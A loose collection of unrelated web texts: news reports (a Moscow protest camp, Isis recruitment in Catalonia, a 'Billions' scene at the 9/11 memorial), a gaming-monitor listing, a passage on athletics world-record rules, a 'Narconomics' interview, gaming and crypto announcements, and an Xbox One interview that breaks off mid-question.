Anti-Putin protesters at Chistye Prudy. Photograph: Sergey Ponomarev/AP
For now, the atmosphere at Occupy Abay remains one of hippy calmness. Groups of protesters break into song. Others form a drum circle. There are teenagers and pensioners, women with children, men with white ribbons tied into their beards.
"It's a huge number of people, happy and smiling people without a drop of aggression," said Lyudmila Ulitskaya, one of Russia's best-known novelists. "I'd call it the birth of civil society, which we in Russia have always had such a hard time with."
Ulitskaya and several other writers and poets had called for Russians to join Sunday's march. Boris Akunin, a novelist and protest organiser, told the crowd: "The point of this walk is simple. We have to teach the authorities to deal with their people politely and with respect, not via sticks or the police."
Strangers struck up political discussions. Struggling poets read their work to small crowds. One man walked by and shouted into his telephone: "I've realised what Moscow wants! Not a KGB president, but a writer-president, like Vaclav Havel."
Vladimir Nikipolsky, a taxi driver and poet, said: "The intelligentsia has woken up. We can no longer live under feudalism."
As evening fell on Moscow, many of the protesters faded away, but hundreds stayed behind ready to sleep on yoga mats and wake up to the camp's second week. A white board on a platform announced events in the days to come: lectures on the workers' struggle, followed by a priest's discussion on the church's attitude towards the jailed punk band Pussy Riot.
144Hz water-like smooth, blur free refresh rate
Flicker Free, FreeSync, Low Blue Light
178° Viewing angle with Glare Light Anti-Reflection Coating
4ms Response Rate
Compatibility
Graphic card must support 2560X1440 Resolution.
Please note that Laptops and On-Board graphics cards are NOT compatible with the monitor.
BEFORE YOUR PURCHASE, PLEASE MAKE SURE THAT THERE WON'T BE ANY COMPATIBILITY ISSUE WITH YOUR GRAPHICS CARD. Please check
If your graphics card has DVI-D, HDMI 1.4 or Displayport 1.2a output
If the cable connection can support 2560*1440 resolution of the monitor.
Note: In case of connecting through a HDMI cable, your graphics card and HDMI cable must support HDMI 1.4 version or its higher version since the monitor supports QHD. All ports other than "Display Ports 1.2a or Mini Display Port 1.2a will not support 144Hz display on the monitors.
And please do not use cable converter like HDMI to DVI or DVI to Displayport. Please use Displayport cable directly.
PX277
27inch WQHD Pro Gaming Monitor
Precision to the Extreme Detail PX277 Monitor features a large 27" display, four times the pixel resolution of HD,
providing an unmatched visual experience that lets you see more details at a glance.
IPS Technology
178-degree viewing
Wide viewing angle technology featuring the same clear image
at any angle within 178 degree from top, bottom, right and left.
NOT A LOW-END TN PANEL PX277 uses IPS Technology Type panel. Far superior than low-end TN (Twisted Nematic) panel in terms of both color reproduction capability and viewing angle. In additions, PX277 supports super fast 144Hz refresh rate.
Built-in Stereo Speakers
Built-in 5-watt stereo speakers deliver full sound for watching movies or playing games.
144Hz Refresh Rate: Water-like Smooth, Blur-Free Motion Display Water-like smooth 144Hz refresh rate, fast moving visuals pose no problem for the PX277, so you can say goodbye to motion blur and gain the upper hand in first person shooters, racers, real-time strategy and sport titles. PX277 also features AMD FreeSync™ technology* - it eliminates screen tearing and choppy frame rates to give you seamless visuals and smooth gameplay.
AMD FreeSync™ Technology
No stuttering. No tearing. Just gaming. AMD FreeSync™ technology puts an end to choppy gameplay and broken frames with fluid, artifact-free performance at virtually any framerate. Behold the next breakthrough in PC gaming performance. The FreeSync™ technology in select AMD APUs and GPUs resolves the communication issues between processor and monitor, eliminating image tears and choppiness for effortlessly smooth gameplay.
For FPS Gamers: PIXIO LoS (Line of Sight) Hot Key
PX277 features the LoS hotkey with crosshair overlay functions. Select from massive twelve
different crosshairs to suit your gaming environment, and keep track of your opponent.
Flicker Free Technology
Flicker-Free technology reduces flicker to give a maximum level of comfort to your eyes while viewing the display. This minimizes instances of eyestrain prevents negative effects to your eyes, especially when you work or play game for extensive period.
PX277 also comes with the Low Blue Light Mode to protect your eyes from harmful blue light;
OSD menu lets you easily access and select three different filters.
Advanced features
Bypass Mode (on/off)
Overdrive Response Time (on/off)
Dynamic Frame Control (on/off)
Game Mode PX277 also comes with Game Mode provides heightened visibility and detail by brightening dark scenes.
Picture-by-Picture(PBP) With PBP you can connect two PCs to the same monitor and see the desktops of both simultaneously on one screen divided into two display and view them simultaneously with multi-screen functionality.
Picture-in-Picture (PIP) With PIP technology, you can watch your favorite movie or video in one window while simultaneously working on a spreadsheet.
Advanced connectivity
Pixio PX277 has multi advanced ports for native WQHD output. Display Ports 1.2 x 1
mini DisplayPort 1.2 x 1
HDMI 1.4 x 2
World records in athletics are ratified by the International Association of Athletics Federations. Athletics records comprise the best performances in the sports of track and field, road running and racewalking.
Records are kept for all events contested at the Olympic Games and some others. Unofficial records for some other events are kept by track and field statisticians. The only non-metric track distance for which official records are kept is the mile run.
Criteria [ edit ]
The Criteria which must be satisfied for ratification also apply to national or other restricted records and also to performances submitted as qualifying marks for eligibility to compete in major events such as the Olympic Games.
The criteria include:
The dimensions of the track and equipment used must conform to standards. In road events, the course must be accurately measured, by a certified measurer.
Except in road events (road running and race walking), the performance must be set in a single-sex race, [1] with the sole exception of the mixed-sex 4x400m relay, introduced by the IAAF in 2017. [2] However, the IAAF has yet to recognise a world record in this particular event.
with the sole exception of the mixed-sex 4x400m relay, introduced by the IAAF in 2017. However, the IAAF has yet to recognise a world record in this particular event. All team members in a relay race must be of the same nationality.
Pacemakers are allowed, provided they have not been lapped; lapped athletes must give way.
Drug testing immediately after the performance is now required for ratification of a record. Existing records which predate this requirement are still extant. Athletes who pass the immediate test but are later found to have been on drugs have their performances invalidated.
In running events up to 200 m in distance and in horizontal jump events, wind assistance is permitted only up to 2.0 m/s. In decathlon or heptathlon, average wind assistance of less than 2.0 m/s is required across all applicable disciplines; and maximum of 4.0 m/s in any one event.
In running events up to 800 m in distance, photo finish fully automatic timing is required.
There is no restriction on altitude; since the thinner atmosphere of higher altitude provides less air resistance, locations such as Mexico City and Sestriere have previously been the sites of records in the sprint and jump events. See effects of high altitude on humans. Records set at high altitude venues are often marked with an "A" though that does not disqualify it as a record. Under those circumstances, a "sea level" best is also tracked by statisticians. Long-distance races run at altitude, with less oxygen available to the athlete, have been shown to be to the athlete's disadvantage.
In road events, the course is not required to be a circuit, but the overall decrease in elevation between the start and finish shall not exceed 1:1000, i.e. 1 m/km.
In road events, the start and finish points of a course, measured along a theoretical straight line between them, shall not be further apart than 50% of the race distance.
Bonus payments [ edit ]
Witnessing a world record brings great pleasure for athletics fans, and athletes' personal sponsors and promoters of major meetings such as the IAAF Diamond League and its predecessor, the IAAF Golden League have offered bonuses to athletes breaking a record.
Some middle-distance runners have specialized in acting as pacemakers in longer races, receiving a fee without even finishing the race, and possibly a bonus if a record results. This is a useful occupation for athletes who are capable of running accurately to a specified pace, but not capable of the very fastest times to become champions in their own right.
In the pole vault record bonuses create an incentive for an athlete capable of smashing a record to instead break it by the minimum amount (one centimetre), multiple times, at multiple meetings, in order to accumulate multiple bonuses. This has been done by Sergey Bubka in the men's pole vault, and Yelena Isinbayeva in the women's pole vault.[3] Some commentators have complained that neither athlete ever posted as high a mark as they were capable of. In any other discipline, except in the high jump, this issue does not arise, since it is practically impossible to deliberately break a record by a small margin.
World records [ edit ]
The IAAF commenced the recognition of world records in 1912, and indoor world records after 1987. In 2000, IAAF rule 260.18a (formerly 260.6a) was amended, so that "world records" (as opposed to "indoor world records") can be set in a facility "with or without roof." This rule was not applied retroactively,[4] and has, thus far, only affected the men's and women's pole vault. The women's record has been advanced 9 times indoors by three different women, each ratified as a world record. The last record to be set indoors was in 2004. Sergey Bubka's 1993 pole vault world indoor record of 6.15 m was not considered to be a world record, because it was set before the new rule came into effect. In February 2014, Bubka's record was surpassed indoors by Renaud Lavillenie jumping 6.16 m which qualifies as both the Indoor world record and the world record.
One current IAAF-sanctioned event, the mixed-sex 4x400 m relay, does not have any recognised world record.
Key to tables [ edit ]
Awaiting ratification will not be ratified by IAAF
h = hand timing
+ = en route to a longer distance
A = affected by altitude
OT = oversized track
X = annulled due to doping violations
# = not officially ratified by IAAF
a = aided road course according to IAAF rule 260.28
est = estimate
i = set indoors (overall world record tables only)
Men [ edit ]
Women [ edit ]
Indoor world records [ edit ]
Men [ edit ]
Women [ edit ]
Best performances in non-IAAF World Record events [ edit ]
Events which do not qualify for IAAF-ratified world records are typically referred to as world bests. While very common in the first half of 20th century, a large number of races over distances by imperial measurements became rare occurrences and the IAAF removed all imperial measured events from its world record lists in 1976 – with the sole exception being the mile run (which remains common due to its historical prominence in track and field).
Some road racing distances and indoor variations of outdoor events fall outside of IAAF's lists. Records set in uncommon events usually do not adhere to the strict criteria found in IAAF-ratifiable events. One example is the 150 metres record, which was set by Usain Bolt on a specially-made straight track, while previous performances (such as the Bailey–Johnson 150-metre race) were completed on a traditional circuit which included a partial bend in the track.
The 40-yard dash – a standard acceleration evaluation for American Football players – does not fall within the usual criteria of athletics racing events. In most 40-yard dashes, reaction times are not recorded as timing starts only once the player is in motion, and the standards for timing a "football 40" are so lax and inconsistent that a real world record cannot be claimed. Performances are hand-timed and calculated to 1/100th of a second, although studies show human beings simply cannot react consistently or accurately enough for this to be a valid method; even those using light beams are timed by the motion of the athlete, still removing the normal factor of reaction time. Football 40-yard dashes are usually run on a turf surface, as opposed to an all weather track. All these factors make track and "football 40" performances incomparable. The world best time for a "football 40" is 4.17 by Deion Sanders. The extrapolated best for an Olympic level athlete, including reacting to a starting gun, currently is by Maurice Greene at the 2001 World Championships in Athletics with a time of 4.24.[79] [80] Under conventional football timing on a turf field in 2017, Christian Coleman reportedly ran a 4.12.[81]
Outdoor events [ edit ]
Men [ edit ]
Women [ edit ]
Indoor events [ edit ]
Men [ edit ]
Women [ edit ]
Notes [ edit ]
Javelin specifications [ edit ]
The men's javelin specification was changed with effect from 1986, and the women's from 2000. The purpose was to reduce the number of illegal flat landings, but a side-effect was to reduce the distance travelled. The prior world records in individual men's and women's javelin were invalidated, but the prior records in decathlon and heptathlon were not.[191]
The old specification records for men's and women's javelin were as follows:
Event Record Athlete Nat. Date Meeting Location Ctry. Ref(s) Men's 104.80 m GDR 20 Jul 1984 East Berlin GDR Women's 80.00 m GDR 9 Sep 1988 Potsdam GDR
The current decathlon world record was set with the current javelin specification. The best performance in heptathlon using the new specification javelin is:
Performance Athlete Nat. Date Meeting Location Ctry. Ref(s) 7032 SWE 26 Aug 2007 World Championships Osaka JPN [192] 13.15 (+0.1 m/s) (100 m hurdles), 1.95 m (high jump), 14.81 m (shot put), 23.38 (+0.3 m/s) (200 m) /
6.85 m (+1.0 m/s) (long jump), 47.98 m[az] (javelin), 2:12.56 (800 m)
Other Notes [ edit ]
Police say a 12-year-old boy has accidentally shot himself to death inside a suburban Atlanta home.
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Gwinnett County police spokesman Cpl. Deon Washington tells local news media that the boy was playing with the gun before it went off and killed him Friday. Washington says the boy's mother was inside the home when he and a nine-year-old boy were playing in the garage shortly before 6 p.m.
The boy's father was not at the home at the time.
Washington says police don't expect to charge the mother.
Police are investigating how the gun got into the kids' hands.
Police say the gun belongs to the parents.
Nan Rendong, chief scientist for the world's largest radio telescope, died of lung cancer on Friday night at 72.
Nan was the initiator and founder of the Five-hundred-meter Aperture Spherical Telescope project, which helps humans to explore the universe and search for extraterrestrial civilizations.
He began work on the project in 1994 and was responsible for choosing its location, conducting feasibility studies, creating preliminary designs while determining its scientific goals and guiding research and tests on its key technologies. Most core members of the project are his students.
Before the telescope started operation in Sept 2016, Nan was already diagnosed with lung cancer and his vocal cords were hurt during surgery. Despite the illness, he still flew about 2,000 kilometers to southwest China's Guizhou province from Beijing to witness the launch of the project he worked on for 22 years.
On Tuesday, the first day Toronto residents could cast a ballot for their choice for the city's top job, 28,046 people voted, according to a City of Toronto press release.
More than 1,000 people cast ballots at Fairfield Seniors Centre in Ward 5, Timothy Eaton Memorial Church in Ward 22, Banbury Community Centre in Ward 25, and 519 Church Street Community Centre in Ward 27.
Tuesday's figures exceed the total weekday turnout for advance voting in the city's 2010 mayoral election. Only 16,000 voters cast ballots during six weekdays of advance voting that year. A total of 77,000 votes were cast during the entire duration of advance voting.
Voters can choose their next mayor from a list of 65 candidates. The top contenders are believed to be John Tory, Olivia Chow and Doug Ford.
An advance voting location is open in one of each of the city's 44 wards until October 19. Locations are open between 10 a.m. and 7 p.m.
Residents from all wards can cast a ballot at city hall until Friday, Oct. 17.
We think it’s a great way to stimulate our imaginations, get more people to discover 3D capture and 3D tools, and share great creations!
So here is how it work:
Every Monday, we announce (on our blog, twitter and facebook feeds) the theme of the #3DST coming the following Thursday (except for the first one on April 10th, it’s an open submission without theme to get started).
You have 4 days to make a great scan on this theme and upload it on Sketchfab the given Thursday, under the tag #3DST and add #3DST to the title of your model
of your model You can share it on twitter or facebook under the same #3DST tag to get more people to see it!
The model getting the most likes by the following Sunday gets featured, and its author gets to pick the theme for the next one.
First thing is first, how to make a 3D scan? We’ve put together a cool tutorial on how to do this using 123D Catch, and here is a more detailed list of tools you can use:
trnio.com (free app for iPhone, direct export to Sketchfab!)
itseez3D (free app for iPad, direct export to Sketchfab! You’ll need a structure sensor)
123D catch (free app, Windows, OSX, iOS and Android)
Skanect (direct export to Sketchfab! You’ll need a kinect like device)
Reconstructme (you’ll need a kinect like device)
Recfusion (direct export to Sketchfab! you’ll need a kinect like device)
Volumental (you’ll need a kinect like device)
Fuel-3D (you’ll need a Fuel device – direct export to Sketchfab!)
Sense (You’ll need a Sense)
Photoscan (direct export to Sketchfab!)
Smart3Dcapture
Android Lens Blur to 3D (Free+direct export to Sketchfab!)
Reasons why we love Jurgen Klopp Fri, September 30, 2016 Jurgen Klopp looks to be coming to the Premier League as the new manager of Liverpool. Express Sport have rounded up all our favourite pictures of the German manager. Play slideshow IG 1 of 11 Hot dog anyone?
"I've not had that much contact with him recently and I've not followed much of what has been said, but I think Klopp would be a great fit at many clubs and I believe also at Liverpool," he said. "Of course it's something I can see happening. I think Klopp is capable of helping many top clubs in the world." The 48-year-old is expected to pen a three-year deal to replace the sacked Brendan Rodgers at Anfield this week.
GETTY Ilkay Gundogan has backed Jurgen Klopp to be a success at Liverpool
The narcotics industry is a multi-billion dollar business. Cartel leaders like El Chapo regularly make Forbes Billionaire Drug Lord list, despite the illegality of their operations and law enforcement's focus on them. With a seemingly infinite demand for commodities like cocaine, heroin, and the works being met by massive crime networks, consumption (and thus profit) is equally unlimited. And unlike Fortune 500 companies, cartels can build monopoly-like empires and achieve the type of industry dominance that CEOs like Warren Buffett and Zuckerberg could only dream of.
Tom Wainwright, the Britain editor of The Economist, who ran the magazine's Mexico desk for three years, recently published a book titled Narconomics: How to Run a Drug Cartel that looks at the drug industry as a business, finding common ground between the underworld and legitimate corporations like Walmart, McDonald's, and Amazon. Wainwright was struck by how "el narcotráfico" was basically a business like any other, but one that was normally written about as if it were a war. For example, the book examines how the dark web is destroying street-corner dealers' businesses through lower prices, better quality control, and its wide-range of vendors compiled in one place, not unlike how Amazon has made it harder for brick-and-mortar shops to stay open.
Wainwright spent five years in total researching and writing the book. His journeys took him into the gang-run towns and killing fields of Central America, a prison in the Dominican Republic, and the cocoa fields of the Bolivian Andes. The book looks at the drug trade as a regular business, including analyses of the money the industry generates, how mass incarceration leads to better-qualified criminals, and how we can use market forces to harness, if not solve, the drug problem. VICE chatted with Wainwright by email shortly before PublicAffairs released his book on February 23.
VICE: What made you decide to look at the drug trade as a regular business?
Tom Wainwright: I was in Mexico covering the whole region for The Economist, and I found that half the time I was writing about ordinary businesses—oil, cars, telecoms, whatever—and the other half I was writing about the drug wars. The more I covered the two, the more I realized that the drug story was really just a business story, albeit a particularly gruesome one.
When I spoke to the people involved in it, they made the same sorts of comments as other business people: gang leaders worried about recruitment, junior members complained about low wages, Mexican cartels were offshoring their operations to cheaper countries in Central America, and some of them were even getting into "corporate social responsibility" as a way of keeping locals happy. So I thought, what would happen if I wrote about the drugs business as if it were a normal business?
Can you tell me about the places you visited to research for this book?
I traveled quite a bit in Latin America, as well as roaming around Mexico. I got down to Central America—focusing on Guatemala, Honduras, and El Salvador—as well as visiting some coca farms in the Bolivian Andes and a prison in the Dominican Republic. In the States, I went to check out the legalization experiment in Colorado.
The book goes into the legal highs industry, too which, believe it or not, has its roots in New Zealand of all places, though I confess I haven't been there. I also look at the European smuggling business, including some reporting from Britain, where I live, and examples from various other places, particularly the Netherlands. It's a global business so I wanted to make the book pretty global in its scope, though the focus really is on the Americas.
What type of money are modern drug cartels making?
No one quite knows because they don't publish their accounts. But the UN reckons the illegal drugs business is worth about $300 billion a year. Of that, the biggest part is marijuana—it makes up nearly half the total, since it's so popular. Interestingly, marijuana is not all that profitable, compared to other drugs. As marijuana is legalized, the cartels are relying more on other drugs: cocaine is the mainstay of the Latin American ones, though they are getting more into heroin. They're following up on the big market opportunity that America's prescription-painkiller epidemic has opened up [for opiates].
What have the cartels learned from major businesses like Walmart?
Plenty, though it's worth making clear—so that I don't end up on the wrong end of a Walmart lawsuit—that none of the legitimate firms mentioned in my book are accused of any wrongdoing themselves. In the case of Walmart, it's about how they manage their suppliers. Walmart is sometimes accused of being a monopsony—that is, being the monopoly buyer of certain products in some markets. The idea is that it's so big, it can effectively dictate prices to its suppliers.
The cartels have a similar thing going on in South America with their coca-leaf suppliers. The farmers have no one else to sell to, so when a crop fails or is destroyed by the Colombian air force, it's the farmers that take the hit, not the cartels. That's why cocaine's price has hardly budged in the US for decades.
What about McDonald's?
With McDonald's, that's all about franchising. Look at the Zetas cartel in Mexico. They let local gangs use the Zetas brand, which makes them much more effective at extortion, and, in return, the main cartel takes a cut of the local gangs' earnings. The Zetas have also hit some of the same problems as McDonald's, such as when their franchisees often squabble over territorial encroachment, just as McDonald's restauranteurs do.
Mexican President Felipe Calderón hit-list of cartel kingpins
Can you tell me a little more about your thoughts on how mass incarceration leads to better-qualified criminals?
One of the big problems cartels face is recruiting people. They have a really high turnover of staff because their guys keep getting killed or arrested. And they can't exactly advertise in the newspaper. It's a nightmare for them. But, fortunately for them, we've invented these places where we get a load of unemployed young men with criminal backgrounds and put them all in the same place with nothing to do and no prospect of a job when they get out. It's called prison and although it's meant to reform offenders, it's a gift to organized crime. Carlos Lehder and George Jung, who basically introduced America to cocaine, met when they shared a cell in a prison. One knew how to smuggle drugs by plane, the other had connections in Colombia, and the rest is history. And their meeting was paid for and arranged by the American taxpayer.
What's your take on America's war on drugs, generally?
Well, I've met a lot of the police officers and soldiers who spend their lives fighting against drugs, and I think most of them think they're doing the right thing, and I respect them for it. But I think they've been led down the wrong path. In the past couple of decades, the number of people worldwide taking cannabis and coke has risen by 50 percent, and the number taking opiates has tripled. All that in return for billions of dollars spent and tens of thousands of lives lost. That's not what a successful policy looks like.
What are some lessons that we should learn concerning the economics of the drug trade?
The book's message is that if you want to crush the cartels, you'd better understand how they work. You're only going to do that if you understand that they follow many of the same rules as other businesses. More broadly, it seems crazy to me that the war on drugs has focused so much on cutting supply, when it makes a lot more sense to cut demand. The gist is that demand for drugs is inelastic—i.e. people keep buying them, more or less regardless of price—so if you drive up the price by making it harder to sell them, all you do is increase the value of the market.
I also think, from what I've seen in Colorado and the handful of other states that have legalized marijuana, that legalization is probably the least bad way of managing drugs. You're never going to find a perfect way of dealing with substances that are addictive and harmful (see alcohol), but I think we've got a better chance if they're managed by the government than if they're left to the mafia.
'Narconomics' is now available to order online through PublicAffairs Publishing.
Update: It looks like someone has messed up, 2K Games has now removed it's original tweet and posted an apology instead.
"We apologise for a tweet about a release date for Borderlands 2 on Vita which was posted in error. The release date mentioned is incorrect."
Original: Borderlands 2 publisher 2K Games has confirmed that the shooter will arrive on the PlayStation Vita in March.
"Borderlands 2 is coming to PSVita on March 18th," said the publisher via its official twitter account this morning.
Are you planning to support the PlayStation Vita by picking this one up? We're pretty hopeful that it'll turn out to be great. "Borderlands 2 is coming to PSVita on March 18th," said the publisher via its official twitter account this morning.Are you planning to support the PlayStation Vita by picking this one up? We're pretty hopeful that it'll turn out to be great.
"We’re going to Syria. Don’t tell anyone, OK?" he messaged Fatima.
When she asked her friend why he was going to Syria he replied simply, "For Allah."
"Are you being serious?" Fatima asked her friend, to which Hassan (not his real name) replied, "Yes. It pays well. It’s very dangerous...I’m going to give your number to someone so you’ll be the first to know if something happens to me."
After their conversation, Fatima called her mother, who had worked with many young people in Barcelona who had flirted with radical Islam. The girl's mother then contacted police.
The next time Hassan called Fatima, she recorded the conversation.
He told her that he was travelling to Syria with a friend and some other young people and that "everything was free". He explained that he didn't have a passport and was going to be given false identity cards.
Fatima also found out that it was not the first time Hassan had travelled to Syria and the only other person he had told about his plans was his mother, who told him, "If you've got to go, then go. Goodbye."
It dawned on Fatima that during the last few months she had lost touch with various Moroccan friends. She started to suspect that perhaps they too had gone to Syria to join Isis.
Fatima called the police and told them all about the phone call, showing them the WhatsApp messages, as well as photographs of her missing friends.
Catalonian officials have revealed that since 2013 at least 20 people living in Catalonia have travelled to the Middle East to join Isis.
Hassan told Fatima that he was persuaded by a man in a shop to visit a mosque, where he met other young men who like him, had neither family nor resources to help them get by.
"They look for that profile," says Fatima’s mother, who knows many young Moroccans who have come to Spain illegally at 16 or 17 years old. "Many live badly, very few work, some steal," as did Hassan, Fatima confesses.
"They enroll them as soldiers of Islam and pay them a lot of money. That’s what attracts them."
In messages sent to Fatima, Hassan says, "We eat well. We wear designer clothes and we don’t have to steal."
In the last message Fatima received from Hassan, he said he was still in Europe, training for his upcoming trip to Syria.
Spain as seen a surge in home-grown terrorist arrests in recent months, with experts particularly concerned about Spain's two north African enclaves of Ceuta and Melilla.
The May 7 episode shows Bobby “Axe” Axelrod, played by Damian Lewis, in a tense conversation with his confidante Wendy Rhoades (Maggie Siff) next to the twin reflecting pools in the footprint of the destroyed World Trade Center. A fleet of FBI agents then swoops into the memorial plaza and arrests him on insider-trading charges.
The scene has reignited the debate over whether the site should be off-limits to commercial or entertainment interests. Some families say the sacred burial ground should not be cheapened as a Hollywood backdrop. Others believe the site is a part of the fabric of the city and a symbol of its recovery — and that media access helps ensure its history is never forgotten.
The nearly 4-minute scene was a “disgusting disgrace,” fumed one 9/11 family member.
“It’s outrageous. The 9/11 Memorial and Museum people are out exploiting the dead when [the grounds] should be a place of respect and sanctity,” Sally Regenhard told The Post through tears.
She lost her 28-year-old son Christian, an FDNY probie, in the attacks. His body has never been recovered.
Regenhard plans to file a protest with Showtime executives to voice her displeasure.
Some 8,000 unidentified body parts — the remains of 1,100 unidentified people — are stored in an out-of-sight “remains repository” at the museum’s underground home. Many victims’ loved ones, including Regenhard, are against interring the remains there and want the National Parks Service to take control of the site.
“His memory is being defiled,” Regenhard said. “I’m sickened that they are shooting television shows over the graves of the people who died for this country.”
Sept. 11 families advocate Glenn Corbett, a fire-science professor at John Jay College, said, “This is a graveyard, not a movie set.”
Paul Sipos, 76, who lives seven blocks from Ground Zero, said he was “revulsed” by the scene and will no longer watch the show, which follows the trajectory of a ruthless but at times compassionate Wall Street exec whose wife perished on 9/11.
“I was outraged that they [memorial administrators] would do something like that,” Sipos said. “It was shocking.”
Sipos was galled that the credits acknowledged the museum’s assistance in filming and is suspicious of the museum’s motives for letting Hollywood take over Ground Zero for the two-day shoot in early December.
“I thought, ‘Well somebody must be making money off this,’ ” he said. “They need money to keep that thing afloat. It’s expensive and there are a lot of salaries to pay.”
A spokesman and a board member of the memorial — which in its first full year of operation ended in the red, with costs outstripping revenues by $25.2 million — refused to answer questions about whether the program paid the institution or if the public was denied access during the shoot. Showtime did not respond to messages.
“Billions” showrunners did have to obtain a license from both the city and the 9/11 Memorial nonprofit. The memorial charges a $150 application fee, but “additional location and usage fees may apply,” according to its online guidelines.
The city said it issued its permit only after museum officials “sanctioned the shot.”
Regenhard said she was baffled by the memorial’s policies and pointed to the ugly 2016 incident where memorial security guards stopped a group of North Carolina elementary students from singing the national anthem at the site because they didn’t have a permit.
“How hypocritical that they would stop patriotic and respectful schoolchildren but would permit a commercial endeavor about horrible, greedy people,” she said, adding the “New York City agency that allowed this to happen” should be condemned.
City Hall spokesman Ben Sarle defended the move.
“The head of the Memorial told us he has received many calls from families who feel that the scene in ‘Billions’ brought attention to the Memorial in a respectful and fitting way,” he said.
And not all 9/11 families were upset. Debra Burlingame, sister of Flight 77 pilot Charles Burlingame III and a member of the memorial’s board, said the “Billions” scene had a “solemn” feel and was “done beautifully.”
Gladius Network Blocked Unblock Follow Following Dec 7, 2017
Hello Gladius community. We have another partnership announcement that I’m sure many of you will be excited about.
We have decided to work with CanYa, a blockchain-based freelancing platform, on a number of important levels that will bring value to both the Gladius and CanYa ecosystems. Their token sale is currently live right now.
Gladius services for CanYa
Like most Gladius partnerships, we will be inviting our new partner to be one of the first websites using Gladius web security and content delivery services. When we complete our next development milestone (pegged for March 2018), CanYa will be using the Gladius Network for all of their online needs.
2. Canya secondary service provider
In addition to simply letting CanYa use our services, we will be starting a secondary service provider deal on the Canya platform. Any business or individuals on the CanYa platform can purchase Gladius services tailored exactly for their needs. For example, if there is a freelancer that runs their own website, they would be able to get DDoS mitigation, CDN, and WAF services from Gladius going through CanYa.
3. GLA token drop for CanYa HODL-ers
Finally, CanYa runs a HODL club for their own token owners. We will be providing an allocation of tokens for their holders. It’s our goal to ensure the long-term success of our token, and by providing some to a group of long-term visionaries, we are doing just that. The exact allocation is still to be determined.
Over the weekend, as an expression of gratitude towards Yoshida and celebration of the decision, The Rough Trade Gaming Community, which describes itself as "the world's biggest LGBT guild" (a guild is a group of likeminded gamers), held a massive "Pixel Parade" inside Final Fantasy XIV. Dressed in rainbow motley, the guild ran through the game world of Eorzea, dancing and partying. You can watch the whole thing above.
Microsoft has slashed the price of the Xbox One in the UK by £30, as a new Titanfall bundle is announced for this Friday.
The price cut will come into effect on Friday, February 28 and is permanent, although the free copy of Titanfall is only while stock lasts (and obviously won’t be available to download until the game is released on March 14).
You can pre-order the Titanfall bundle now, by visiting the official Xbox website here. However, this isn’t the special edition Titanfall console that was leaked about last month and which still hasn’t been confirmed.
You do get some special edition Titanfall packaging though, along with a Kinect sensor, standard Xbox One wireless controller, standard Xbox One Chat Headset, one month of Xbox Live Gold membership, and a digital copy of Titanfall.
Although the Titanfall deal is worldwide the price cut is only for the UK, where the PlayStation 4 has been outselling the Xbox One at what’s believed to be a ratio of 2:1.But even with this new price drop the PlayStation 4 is still £50 cheaper, at £349.99.
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Since the UK is the Xbox 360’s second biggest market, after the US, that’s certainly not a situation Microsoft will be happy with, and so we got to discuss the price cut, and the Xbox One’s upcoming line-up, with UK marketing director Harvey Eagle.
GC: This price cut is very welcome but surely it’s an admission that the Xbox One is currently not selling as well as you’d hoped?
HE: No, I don’t think so. For us this is about giving UK gamers the best value that we can. We think that that starts with the announcement of this new price point, at 399. It continues with the inclusion of the hottest game of this new generation, in Titanfall, which is now included in the box at no additional cost.
And I would also say that this has been our most successful Xbox launch ever in the UK. I think that we can already see that both platforms are commercially successful, that’s great for the industry, but we’re only a few months into a generation that is going to last for many years to come.
GC: No one would suggest the Xbox One has been a flop, it’s no Wii U, but when a console is very successful it’s usually sold out for months and doesn’t get a price cut until years later. Clearly, that’s not the situation the Xbox One is in, but why do you think that is?
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HE: I just go back to my earlier point, that we just want to give the best value that we can, and with the arrival of Titanfall on March the 14th we feel now is a great time to adjust the price point, get it to 399, include Titanfall while stocks last…
GC: Do you have any idea how long stocks will last? I assume there’s a finite number you know you’ve got to give away?
HE: Yes, it’s a promotion that is while stocks last. What I would say is the people that want to take up this offer, I would strongly encourage them to pre-order as of today at participating retailers. But to give you a sense of order of magnitude, this is similar to what we did with the Day One consoles – which you’ll remember came with either FIFA 14 or Forza. So expect similar volumes as that promotion.
GC: The fact that the price cut is only for the UK is interesting, as it suggests understandable concern that the Xbox’s second biggest market has turned towards the PlayStation. Can you confirm that current hardware sales are 2:1 in Sony’s favour?
HE: Well, you know we don’t comment on UK sales figures, specifically. We don’t break those down…
GC: Not figures, no. But can you confirm that ratio, which seems evident even in software sales?
HE: Again, for us this has been our most successful launch ever. When I looked towards what I said we would achieve internally at this point in time we’re bang on track. I think 399 for an Xbox One, with the inclusion of Titanfall, plus of course Kinect, I think is a great deal for UK gamers.
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GC: I’d suggest that some of the Xbox One’s problems still relate back to the disastrous launch, and also the strangely aggressive attitude of most American Microsoft execs since then. They always seem adamant not to admit any fault or to even acknowledge the various U-turns. Has that been an issue, do you think?
HE: You’ve spoken to me before David, and you know I’ve tried to always be straight with you. I think the last chat we had, I think we said we were not happy about the decisions made on things like trading games and always-on, etc. and those have been reversed. I’ve always tried to give you an honest comment on issues…
GC: You have, but that only emphasises the difference between the UK side of things and the American execs.
HE: And I think the announcements we’re making today are another step in the right direction for gamers in the UK. It’s also a good time to remind people that four months in you can trade discs on Xbox One, you can bring in any of your games and you can use the proceeds to buy a copy a copy of Titanfall.
GC: Well, quite! I’m curious, did you ask for the price cut or is that something America came to you with?
HE: It doesn’t really work like that, but we look at it and ask, ‘How can we offer the best value in this country?’ I’m responsible for the UK so I look at the UK and say, ‘How do we get the best value into the market for our fans?’ And we just feel now is the right time to make the adjustment on the price point. With Titanfall coming it just seems like the perfect time to do that.
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GC: Do you feel there’s enough autonomy between you and the other worldwide divisions? I can certainly think of numerous situations where Nintendo and Sony have forced decisions on the UK and Europe that local execs clearly knew was a bad idea. And I realise you have to be diplomatic in answering that…
HE: [laughs] I think there are examples in other areas where you can see, let me say the influence of the UK, in some of the worldwide actions that we take. If you just look at the advertising campaign that we ran, which featured Stevie Gerrard, that’s clearly the influence of the UK. That was a worldwide spot that ran everywhere in the world, including the US.
I know that’s not necessarily the example you’re after but I think it’s a demonstration that says the UK has an important voice as the second biggest market in the world and I think there are examples of where we have this degree of autonomy that you refer to. I think the announcements today are another example of that.
GC: But another problem with Xbox appearing to be US-orientated is the TV and media content, which is still extremely lacking in the UK. Can you see that this will be addressed this year, or this half of the year?
